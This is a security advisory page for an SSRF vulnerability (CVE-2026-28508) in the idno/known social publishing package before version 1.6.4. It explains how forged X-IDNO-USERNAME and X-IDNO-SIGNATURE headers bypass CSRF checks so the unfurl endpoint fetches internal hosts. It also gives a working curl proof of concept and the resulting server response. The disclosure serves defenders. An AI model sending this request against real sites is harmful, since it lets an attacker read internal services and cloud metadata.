Server-side Request Forgery (SSRF) Affecting idno/known package, versions >=0.0.0, <1.6.4
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PHP-IDNOKNOWN-15369784
- published3 Mar 2026
- disclosed2 Mar 2026
- creditAnuraag Baishya
Introduced: 2 Mar 2026
CVE-2026-28508 (opens in a new tab)How to fix?
Upgrade idno/known to version 1.6.4 or higher.
Overview
idno/known is an A social publishing platform
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the Session::tryAuthUser() authentication flag handling and UnfurledUrl::unfurl() resolution in Idno/Core/Session.php and Idno/Entities/UnfurledUrl.php. An attacker can exfiltrate internal or cloud metadata responses by sending arbitrary X-IDNO-USERNAME/X-IDNO-SIGNATURE headers to bypass CSRF validation and force the unfurl endpoint to fetch private or reserved hosts.
PoC
curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-IDNO-USERNAME: x" \
-H "X-IDNO-SIGNATURE: x"
{
"title": "Page Title",
"mf2": {
"items": [],
"rels": [],
"rel-urls": []
},
"id": null,
"rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n <div class=\"basics\">\n \n <div class=\"text\">\n ### <a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n \n <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n <\/div>\n <\/div>\n \n <\/div>"
}